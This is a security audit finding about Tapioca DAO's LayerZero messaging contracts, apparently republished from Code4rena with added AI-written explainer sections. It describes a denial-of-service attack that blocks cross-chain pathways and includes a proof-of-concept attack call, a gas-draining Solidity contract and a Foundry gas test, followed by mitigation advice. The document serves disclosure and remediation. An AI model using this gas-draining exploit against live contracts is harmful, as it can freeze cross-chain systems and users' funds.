Attacker can block LayerZero channel due to variable gas cost of saving payload
The LayerZero message handling in Tapioca's contracts stores failed messages after an external call, but the gas reserved for that storage can be insufficient when the payload is large. An attacker can send a message with a large payload and a malicious contract that consumes most of the gas, causing the storage of the failed message to run out of gas and block the channel between two chains.
Originally disclosed on Code4rena
Submitted by windhustler
https://github.com/Tapioca-DAO/tapioca-bar-audit/blob/master/contracts/usd0/BaseUSDO.sol#L399
https://github.com/Tapioca-DAO/tapiocaz-audit/blob/master/contracts/tOFT/BaseTOFT.sol#L442
https://github.com/Tapioca-DAO/tap-token-audit/blob/main/contracts/tokens/BaseTapOFT.sol#L52
This is an issue that affects BaseUSDO, BaseTOFT, and BaseTapOFT or all the contracts which are sending and receiving LayerZero messages. The consequence of this is that anyone can with low cost and high frequency keep on blocking the pathway between any two chains, making the whole system unusable.
Proof of Concept
I will illustrate the concept of blocking the pathway on the example of sending a message through BaseTOFT’s sendToYAndBorrow. This function allows the user to mint/borrow USDO with some collateral that is wrapped in a TOFT and gives the option of transferring minted USDO to another chain.
The attack starts by invoking sendToYBAndBorrow which delegate calls into BaseTOFTMarketModule. If we look at the implementation inside the BaseTOFTMarketModule nothing is validated there except for the lzPayload which has the packetType of PT_YB_SEND_SGL_BORROW.
The only validation of the message happens inside the LzApp with the configuration which was set. What is restrained within this configuration is the payload size, which if not configured defaults to 10k bytes.
The application architecture was set up in a way that all the messages regardless of their packetType go through the same _lzSend implementation. I’m mentioning that because it means that if the project decides to change the default payload size to something smaller(or bigger) it will be dictated by the message with the biggest possible payload size.
I’ve mentioned the minimum gas enforcement in my other issue but even if that is fixed and a high min gas is enforced this is another type of issue.
To execute the attack we need to pass the following parameters to the function mentioned above:
function executeAttack() public {
address tapiocaOFT = makeAddr("TapiocaOFT-AVAX");
tapiocaOFT.sendToYBAndBorrow{value: enough_gas_to_go_through}(
address from => // malicious user address
address to => // malicious user address
lzDstChainId => // any chain lzChainId
bytes calldata airdropAdapterParams => // encode in a way to send to remote with minimum gas enforced by the layer zero configuration
ITapiocaOFT.IBorrowParams calldata borrowParams, // can be anything
ICommonData.IWithdrawParams calldata withdrawParams, // can be anything
ICommonData.ISendOptions calldata options, // can be anything
ICommonData.IApproval[] calldata approvals // Elaborating on this below
)
}
ICommonData.IApproval[] calldata approvals are going to be fake data so max payload size limit is reached(10k). The target of the 1st approval in the array will be the GasDrainingContract deployed on the receiving chain and the permitBorrow = true.
contract GasDrainingContract {
mapping(uint256 => uint256) public storageVariables;
function permitBorrow(
address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) external {
for (uint256 i = 0; i < 100000; i++) {
storageVariables[i] = i;
}
}
}
Let’s take an example of an attacker sending a transaction on the home chain which specifies a 1 million gasLimit for the destination transaction.
-
Transaction is successfully received inside the
lzReceiveafter which it reaches _blockingLzReceive. -
This is the first external call and according to
EIP-150out of 1 million gas:- 63/64 or ~985k would be forwarded to the external call.
- 1/64 or ~15k will be left for the rest of the execution.
-
The cost of saving a big payload into the
failedMessagesand emitting events is higher than 15k.
When it comes to 10k bytes it is around 130k gas but even with smaller payloads, it is still significant. It can be tested with the following code:
// SPDX-License-Identifier: Unlicense
pragma solidity ^0.8.19;
import "forge-std/Test.sol";
import "forge-std/console.sol";
contract FailedMessagesTest is Test {
mapping(uint16 => mapping(bytes => mapping(uint64 => bytes32))) public failedMessages;
event MessageFailed(uint16 _srcChainId, bytes _srcAddress, uint64 _nonce, bytes _payload, bytes _reason);
function setUp() public {}
function testFMessagesGas() public {
uint16 srcChainid = 1;
bytes memory srcAddress = abi.encode(makeAddr("Alice"));
uint64 nonce = 10;
bytes memory payload = getDummyPayload(9999); // max payload size someone can send is 9999 bytes
bytes memory reason = getDummyPayload(2);
uint256 gasLeft = gasleft();
_storeFailedMessage(srcChainid, srcAddress, nonce, payload, reason);
emit log_named_uint("gas used", gasLeft - gasleft());
}
function _storeFailedMessage(
uint16 _srcChainId,
bytes memory _srcAddress,
uint64 _nonce,
bytes memory _payload,
bytes memory _reason
) internal virtual {
failedMessages[_srcChainId][_srcAddress][_nonce] = keccak256(_payload);
emit MessageFailed(_srcChainId, _srcAddress, _nonce, _payload, _reason);
}
function getDummyPayload(uint256 payloadSize) internal pure returns (bytes memory) {
bytes memory payload = new bytes(payloadSize);
for (uint256 i = 0; i < payloadSize; i++) {
payload[i] = bytes1(uint8(65 + i));
}
return payload;
}
}
- If the payload is 9999 bytes the cost of saving it and emitting the event is 131k gas.
- Even with a smaller payload of 500 bytes the cost is 32k gas.
- If we can drain the 985k gas in the rest of the execution since storing
failedMessageswould fail the pathway would be blocked because this will fail at the level of LayerZero and result inStoredPayload. - Let’s continue the execution flow just to illustrate how this would occur, inside the implementation for
_nonblockingLzReceivethe_executeOnDestinationis invoked for the right packet type and there we have another external call which delegatecalls into the right module.
Since it is also an external call only 63/64 gas is forwarded which is roughly:
- 970k would be forwarded to the module
- 15k reserved for the rest of the function
- This 970k gas is used for
borrow, and it would be totally drained inside our malicious GasDraining contract from above, and then the execution would continue inside theexecuteOnDestinationwhich also fails due to 15k gas not being enough, and finally, it fails inside the_blockingLzReceivedue to out of gas, resulting in blocked pathway.
Tools Used
Foundry
Recommended Mitigation Steps
_executeOnDestination storing logic is just code duplication and serves no purpose. Instead of that you should override the _blockingLzReceive.
Create a new storage variable called gasAllocation which can be set only by the owner and change the implementation to:
(bool success, bytes memory reason) = address(this).excessivelySafeCall(gasleft() - gasAllocation, 150, abi.encodeWithSelector(this.nonblockingLzReceive.selector, _srcChainId, _srcAddress, _nonce, _payload));
While ensuring that gasleft() > gasAllocation in each and every case. This should be enforced on the sending side.
Now this is tricky because as I have shown the gas cost of storing payload varies with payload size meaning the gasAllocation needs to be big enough to cover storing max payload size.
Other occurrences
This exploit is possible with all the packet types which allow arbitrary execution of some code on the receiving side with something like I showed with the GasDrainingContract. Since almost all packets allow this it is a common issue throughout the codebase, but anyway listing below where it can occur in various places:
BaseTOFT
- https://github.com/Tapioca-DAO/tapiocaz-audit/blob/master/contracts/tOFT/modules/BaseTOFTLeverageModule.sol#L205
- https://github.com/Tapioca-DAO/tapiocaz-audit/blob/master/contracts/tOFT/modules/BaseTOFTMarketModule.sol#L204
- https://github.com/Tapioca-DAO/tapiocaz-audit/blob/master/contracts/tOFT/modules/BaseTOFTLeverageModule.sol#L111
- https://github.com/Tapioca-DAO/tapiocaz-audit/blob/master/contracts/tOFT/modules/BaseTOFTOptionsModule.sol#L221
- https://github.com/Tapioca-DAO/tapiocaz-audit/blob/master/contracts/tOFT/modules/BaseTOFTOptionsModule.sol#L118
BaseUSDO
- https://github.com/Tapioca-DAO/tapioca-bar-audit/blob/master/contracts/usd0/modules/USDOMarketModule.sol#L191
- https://github.com/Tapioca-DAO/tapioca-bar-audit/blob/master/contracts/usd0/modules/USDOLeverageModule.sol#L190
- https://github.com/Tapioca-DAO/tapioca-bar-audit/blob/master/contracts/usd0/modules/USDOMarketModule.sol#L104
- https://github.com/Tapioca-DAO/tapioca-bar-audit/blob/master/contracts/usd0/modules/USDOLeverageModule.sol#L93
- https://github.com/Tapioca-DAO/tapioca-bar-audit/blob/master/contracts/usd0/modules/USDOOptionsModule.sol#L206
- https://github.com/Tapioca-DAO/tapioca-bar-audit/blob/master/contracts/usd0/modules/USDOOptionsModule.sol#L103
BaseTapOFT
- https://github.com/Tapioca-DAO/tap-token-audit/blob/main/contracts/tokens/BaseTapOFT.sol#L225 Here we would need to pass
IERC20[] memory rewardTokensas an array of one award token which is our malicious token which implements theERC20andISendFrominterfaces.
Since inside the twTap.claimAndSendRewards(tokenID, rewardTokens) there are no reverts in case the rewardToken is invalid we can execute the gas draining attack inside the sendFrom whereby rewardTokens[i] is our malicious contract.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Impact
An attacker could repeatedly block the communication pathway between any two chains at low cost, making the system unusable.
What the attacker needed
Ability to send LayerZero messages; deploy a gas-draining contract on destination chain; craft a message with large payload
The fix
The contract should reserve enough gas for storing the failed message by limiting the gas forwarded to the external call and ensuring sufficient gas remains, as described in the mitigation.
How it was found
- Deploy a malicious contract on the destination chain that consumes gas when called.
- Call sendToYBAndBorrow with a large approvals array to reach the maximum payload size and set the target to the malicious contract.
- The message is received and _blockingLzReceive is invoked, forwarding most gas to the external call.
- The malicious contract drains the forwarded gas, leaving insufficient gas to store the failed message.
- The storage of the failed message fails due to out-of-gas, blocking the pathway.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
When a message is sent between blockchains, the receiving side first tries to process it. If that processing fails, it saves the message so it can be retried later. This report shows that an attacker can make the processing use up almost all the gas (the fee paid for computation), leaving too little gas to save the failed message. As a result, the message is stuck and the channel between the two chains is blocked.
What is DoS?
A request that exhausts resources or crashes a component. Many programs forbid testing it; reports usually show it from code, not by attacking.